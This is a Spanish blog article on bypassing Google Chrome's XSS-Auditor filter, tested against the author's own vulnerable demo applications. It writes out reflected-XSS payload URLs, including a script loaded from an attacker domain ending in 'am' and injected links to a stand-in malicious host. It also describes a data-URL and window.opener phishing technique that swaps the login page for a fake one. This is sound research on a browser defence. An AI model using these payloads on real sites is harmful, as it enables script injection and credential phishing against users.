Durante el trabajo de creación del libro "
Hacking Web Applications: Client-Side Attacks",
Enrique Rando estuvo realizando muchas pruebas sobre los principales navegadores de
Internet. Como os podéis imaginar, los filtros
Anti-XSS, así como otras medidas de protección por defecto contra otros ataques "
Client-Side" fueron su día a día. En este artículo nos trae sus reflexiones sobre los límites de
XSS-Auditor, la herramienta de protección
Anti-XSS de
Google Chrome.
|
Figura 1: Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome |
Jugando con XSS-Auditor de Google Chrome
1.- Introducción
¡Ah, los filtros
anti-XSS! Llevan ya su tiempo entre nosotros y sin embargo, siguen planteando problemas de difícil solución y alternativas sobre las que no nos ponemos de acuerdo. Aunque quizá el problema no radique tanto en los propios filtros sino en el inestable terreno en que éstos prestan sus servicios.
Porque: ¿dónde ponemos la línea roja que un filtro
anti-XSS no debe permitir sobrepasar? ¿Es preferible ser súper exigentes y detener todos los ataques posibles a costa de sufrir muchos falsos positivos? ¿O es preferible asegurar el funcionamiento de las aplicaciones aunque esto suponga que de vez en cuando un ataque tenga éxito? ¿Está, como dice el refrán, la virtud en el término medio o acaso la falta de un criterio claro y definido no permitiría alcanzar ningún objetivo y sólo serviría para confundir? A veces me alegra pensar que será otro, y no yo, quien tenga que responder estas preguntas.
2.- Como saltarse XSS Auditor por menos de 6 euros
2.1.- La aplicación
Hace algún tiempo me encontré con una aplicación cuyo código tenía unas cuantas características curiosas. En ella me basé cuando escribí el siguiente código:
|
Figura 2: Se trata de una aplicación que te despierta a la hora que tú le digas. |
|
Figura 3: El despertador |
Analizando el código fuente se puede comprobar que existe una vulnerabilidad de
XSS, explotable a través del parámetro
GET “hora”. Pero
XSS-Auditor impide el intento de inyectar código
JavaScript en línea:
|
Figura 4: Bloqueado por XSS-Auditor |
… o de insertar una etiqueta
“<script>“ que cargue su código desde un servidor, “
malicioso.example.net”, controlado por el atacante:
|
Figura 5: También bloqueado |
Pero…
2.2.- Lo que XSS-Auditor deja pasar (y lo que no)
XSS-Auditor es una herramienta contra ataques de
Cross-Site Scripting de tipo “
reflejado”. Y “
Cross-Site Scripting” viene a significar “
Scripting entre sitios”. O sea, inyectar
scripts de otro sitio en la página víctima. ¿Permitiría
XSS-Auditor inyectar
scripts si éstos son del propio sitio? Pues… parece que sí.
|
Figura 6: Same-Site Scripting aceptado. |
Lo cual, si se combinara con una posibilidad de subir contenidos al sitio podría ser peligroso. Una condición que impone
XSS-Auditor para estos casos es que la
URL no lleve una
Query String. Las alarmas salta en cuanto haya algo a continuación de un carácter “
?”:
|
Figura 7: Parámetros GET No permitidos. |
Lo cual me hace pensar en esas
URLs “search engine friendly”. Por ejemplo: ¿Tiene tu web un mecanismo de “
control de salidas” que usas cuando tus enlaces re-dirigen a otros sitios? Me refiero al típico “
redirect.php” o similar. Entonces, seguro que controlas con una lista blanca los posibles destinos ¿verdad?
Pues, por si acaso, yo añadiría otra condición: asegúrate de que usas un parámetro
GET para indicar, de una forma u otra, a dónde quieres enviar a tus usuarios. No sea que, al final, una
URL de tu sitio pueda llevarles a donde el atacante quiera mientras
XSS-Auditor hace como que no se da cuenta.
Pero hay algo más. A
XSS-Auditor parece molestarle que se inyecte un
script con un origen extraño incluido en la
URL. No quiere permitir a un atacante elegir el dominio desde el que el contenido se descarga. Pero obsérvese el código
PHP vulnerable:
|
Figura 8: Código vulnerable a la inyección de scripts |
Justo a continuación del valor de “
$hora”, sin ningún espacio de por medio, se añade el texto “
AM”. Podríamos ver qué pasa si el script se carga de un dominio cuyo nombre no aparece completo en la
URL. Por ejemplo, con:
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://example.
Esto produciría que en el código creado apareciera lo siguiente:
|
Figura 9: Código resultante tras la inyección |
… que trataría de cargar el contenido de “
http://example.AM” y ejecutarlo como un
script.
XSS-Auditor, tras comprobar que “
script.example.AM” no forma parte de la
URL ni del resto de elementos de la petición, parece relajarse y no entrometerse:
|
Figura 10: Esto sí pasa el filtro |
De modo que sólo hace falta comprar un dominio “.
AM”, que corresponde al
TLD de código de país correspondiente a “
Armenia”.
2.2.1.- Hora de abrir la hucha
Pero los dominios “
.AM” cuestan más de lo que yo estaría dispuesto a gastarme.
|
Figura 11: Mucho dinero para un dominio de pruebas... |
De modo que mejor me busco otra cosa.
2.2.2.- Vamos a hacerlo "Low cost"
En realidad, no hace falta que el dominio a usar pertenezca al
ccTLD “.am”. Basta con que termine en “am”. Y, desde hace unos años, con la puesta en servicio de los
TLD genéricos, hay donde elegir. Ahora tenemos un buen número de dominios de primer nivel, más de
1.500, y siguen apareciendo otros nuevos. La
lista puede consultarse en ICANN.
|
Figura 12: Lista de TLDs disponibles |
De modo que sólo es cuestión de ver cuántos de ellos terminan en “
AM”. O, traducido al lenguaje de las expresiones regulares:
AM\s*$
Usando una herramienta como “
grep” o quizá un editor de texto con soporte a la búsqueda por expresión regular, se obtendrá una lista de candidatos. Alguno incluso con caracteres “
internacionales”:
AM
AMFAM
AMSTERDAM
CAM
SHRIRAM
STREAM
TEAM
WEBCAM
XN--QXAM
Algunos de ellos pertenecen a una organización que lo usa para sus propios fines y no permite registros de terceros. Otros son relativamente caros. Pero a veces se tiene suerte:
|
Figura 13: Un dominio por menos de 6 € para la prueba |
Esto es bastante más asequible. Supongamos que registro el dominio “
example.team”. Entonces podría tener un servidor llamado “
script.example.team” que responda a su
URL principal con algo tan sencillo como:
alert("¡Te calcé un XSS!");
Y, si alguien visitara
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://script.example.te
… vería…
|
Figura 14: Cuidado con los nuevos TLDs |
2.3.- Phishing de ida y vuelta
2.3.1.- El objetivo
En este segundo ejemplo voy a utilizar una aplicación vulnerable que creé en su día para poder hacer los experimentos con gaseosa. Entre otras muchas cosas, la página de inicio de sesión presenta una vulnerabilidad de
XSS a través del parámetro
GET “url”. Por ejemplo:
http://aplicacion.example.com/login.php?url="><h1>TEXTO INYECTADO</h1><x x="
|
Figura 15: Inyectando un texto |
En este caso, se inyectaba un texto. Y
XSS-Auditor lo permite, pues cabría pensar que un texto puede hacer poco daño. Los angloparlantes tienen un refrán que dice “
sticks and stones may break my bones, but words can never hurt me”. “
Los palos y las piedras pueden romperme los huesos, pero las palabras nunca podrán dañarme”. Suena bien, pero… en casos como éste podría haberse probado con algo del tipo
Llama al teléfono 000000000 para asegurarte de que tu cuenta no ha sido comprometida por el reciente ataque.
No sigo más por este camino. Lo que iba a contar es otra cosa. Resulta que
XSS-Auditor permite inyectar enlaces. Incluso con destinos que pudieran ser maliciosos, como en:
http://aplicacion.example.com/login.php?url="><a href="http://malicioso.example.net" target="_blank">Pulsa aqu%26iacute;</a></h1><x x="
2.3.2.- En vías de ser declarado obsoleto
A riesgo de dar un giro demasiado brusco, quisiera comentar aquí algo que considero una muy buena noticia. Hace unos meses, el equipo desarrollador de
Google Chrome anunció que este navegador dejará de soportar las
URLs de esquema “
data” en las ventanas principales. Puede
leerse al respecto en esta URL.
De modo que, antes de que sea demasiado tarde para contarlo, vamos a ver qué podríamos hacer con una
URL de tipo data de modo que
XSS-Auditor no se percate.
2.3.3.- Cuidado con lo que te inyectan
Probemos, pues, con un enlace cuyo destino sea una
URL de esquema “
data”. La inyección podría usar hojas de estilo en cascada para mejorar el aspecto visual…
|
Figura 16: Inyección con "data" |
El resultado es un mensaje que quiere resultar atractivo:
|
Figura 17: Inyección en la página de login |
Cuando el usuario haga clic en él, se abrirá una nueva ventana y se cargará en ella una
URL con esquema “
data”:
|
Figura 18: Inyección resultante |
Esto crea un documento
HTML con un breve texto
|
Figura 19: El texto resultante |
… y un
script que, debidamente embellecido quedaría:
|
Figura 20: El script resultante |
El objeto “
opener”, o “
window.opener” hace referencia a aquella ventana responsable de que se haya abierto a la actual. En este caso, la del
login de la aplicación. Y el
script hace que se cargue en ella un nuevo documento, procedente de un servidor malicioso. Algo que se conoce que sucede
cuando se utiliza el target="_blank". Cuando el usuario cierre la ventana del aviso, se encontrará con algo muy parecido a lo que tenía al principio:
|
Figura 21: ¿De vuelta a la misma página? |
Y caerá en la trampa si no es capaz de darse cuenta de que hay algo raro en la
URL de la barra de direcciones.
|
Figura 22: La URL es otra. Y no tiene buena pinta. |
2.4.- Mode=block debería ser mode=block
Como pudo apreciarse en los primeros ejemplos de este artículo, las últimas versiones de
Google Chrome siguen por defecto el comportamiento que establece la
cabecera HTTP “X-XSS-Protection: 1; mode=block”. O sea, en caso de detectar un ataque
XSS no se muestra el contenido de la página. Pero las cosas no siempre son exactamente como parecen. Supóngase que se tiene una página vulnerable a
XSS con un código como el siguiente:
|
Figura 23: Código vulnerable a XSS con header X-XSS-Protection |
Las primeras líneas se aseguran de que la protección contra
XSS se configure correctamente. La vulnerabilidad está en el código
PHP del final. Y a medio camino se encuentran otros scripts. Pues resulta que si se trata de explotar la vulnerabilidad, por ejemplo con
http://www.example.com/1/2.php?q=<script>alert(1)</script>
… aunque el documento no sea dibujado en pantalla, los scripts previos al punto de inyección se ejecutarán y podrán interactuar con el
DOM (Modelo de Objetos del Documento):
|
Figura 24: Los scripts previos a la inyección XSS se ejecutan |
Y sólo cuando se llegue a la inyección se producirá el efecto que se habría esperado tener desde el principio.
|
Figura 25: A buenas horas. |
Supongo que a alguien se le ocurrirá como sacar partido de esto ¿verdad?
2.5.- Para ir terminando
No es que
XSS-Auditor sea una mala herramienta. Crear un filtro
anti-XSS como éste es una tarea difícil y es imposible cubrir todos los posibles ataques a la vez que se intenta mantener la compatibilidad con todas esas aplicaciones que hay ahí afuera. Es que las aplicaciones deberían estar bien escritas.
Autor: Enrique Rando, escritor en en "Hacking Web Applications: SQL Injection", "Hacking con Buscadores", "Hacking Web Technologies" & "Hacking Web Applications: Client-Side Attacks".
1 comentario:
Excelente articulo , me ha gustado. No se si probaste a meter ¿un img con el header de respuesta content type a JavaScript?
Publicar un comentario